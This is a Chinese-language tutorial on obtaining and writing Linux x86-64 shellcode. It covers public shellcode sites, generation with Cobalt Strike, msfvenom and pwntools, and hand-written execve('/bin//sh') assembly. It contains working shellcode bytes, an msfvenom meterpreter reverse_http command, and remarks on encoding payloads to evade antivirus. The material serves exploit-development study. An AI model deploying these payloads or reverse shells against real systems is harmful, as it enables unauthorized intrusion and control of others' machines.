0x00 shellcode简介
在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
shellcode可以按照攻击者控制是否在目标机器上执行载荷分为本地shellcode和远程shellcode。本地运行的shellcode经常用于在攻击者对计算机的访问权限有限,需要利用软件漏洞提升权限;远程shellcode常用于攻击者以运行在某个网络中的另一台机器上的易受攻击的进程为目标时,如果成功执行,shellcode可以通过网络访问目标主机。
那么,当我们已经通过种种手段得到程序溢出的地址,该如何获取或者编写shellcode呢,一起来看看吧。
0x01 直接获取shellcode
网络上有许多已经编写好的shellcode资源公开分享,由于shellcode的本质是一段机器码,在不同的硬件设备上可能有诸多区别,在使用时一定要注意平台是否通用。下面是两个可以学习的网站。
exploit database
Shellcodes database for study cases(该平台目前已停止更新)
但来自网络的资源很有可能由于久久未更新、适用的系统已经被淘汰,或者是shellcode已经被公开而变得容易被查杀,这时候我们就需要能够即时获取shellcode的方法。
0x02 通过软件获取shellcode
目前网上有很多的开源的自动生成shellcode的工具,在这里介绍两种比较常用的shellcode生成方式。
1.cobaltstrike(版本4.0)
勾选生成c语言形式的shellcode,在下拉列表里我们还能看到有许多其他语言形式的shellcode。
接着我们会得到一个文件,其中包含了所需的shellcode,只要将这段shellcode放入预先写好的加载器中就可以使用了:
2.msf(系统版本kali linux 5.5 amd64)
在linux平台下,我们还可以利用metasploit框架下的msfvenom生成shellcode
命令行选项:
-p, --payload <payload> 指定需要使用的payload(攻击载荷)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如:\x00\xff
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
例如:
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.101 lport=4444 -f c
这个指令生成的shellcode将会注入mettle server payload,反弹连接一个连接。
接着我们会得到相应的shellcode
当然这只是最基础的操作,msfvenom集成了msfpayload和msfencoder,还可以添加其他的指令,通过编码和迭代来避免杀毒软件的查杀。
3.pwntools(python 3.8)
pwntools是常用的二进制利用框架。下图官方文档中是pwntools中生成shellcode的核心模块shellcraft及相应用法。
例如:
from pwn import *
#设置目标机器信息
context(arch = 'amd64', os = 'linux',log_level = 'debug')
#asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
shellcode=asm(shellcraft.amd64.linux.sh())
print(shellcode)
运行代码,可以得到汇编代码及对应的shellcode:
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.8/dist-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-cvwq0p95/step2 /tmp/pwn-asm-cvwq0p95/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-cvwq0p95/step3 /tmp/pwn-asm-cvwq0p95/step4
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
0x03编写shellcode
但假如我们需要一些具有特殊功能的shellcode,软件却无法提供相应功能时,该如何方便快捷的编写shellcode呢?
1.直接通过机器码写shellcode
难度对于一般程序员过大,且容易出错
2.通过汇编语言写shellcode
在这里我们以linux平台为例。
理想效果的c代码:
#include "stdlib.h"
#include "stdlib.h"#include "unistd.h"char *buf[]={"/bin/sh",NULL};void main(){ execve("/bin/sh",buf,NULL); exit(0);}
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件的参数,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。
查询64位linux中断向量表可知,64位linux下,execve()对应的中断向量表为:0x3b,对应rax
section .text
global _start
_start:
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f //将“/bin//sh”的十六进制按字节倒序后的结果0x68732f2f6e69622f放入rax寄存器。为什么不使用/bin/sh?因为这样会产生\00截断。而/bin//sh和/bin/sh相等。
push rax //将/bin//sh压入栈
mov rdi, rsp //从rsp中获取字符串/bin//sh的地址,将其放入rdi
push rdx //
push rdi
mov rsi, rsp
xor rax, rax
mov al, 0x3b
syscall
编译文件:
nasm -f elf64 sc64.asm
nasm -f elf64 sc64.asm ld -m elf_x86_64 -s -o shellcode sc64.o ./shellcode
成功运行文件,达到了预期效果,说明编写无误:
此时可以查看机器码:
虽然已经给出机器码,但如果我们能通过过滤无关参数直接获取shellcode,何乐而不为呢?运行命令:
objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
得到shellcode:
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05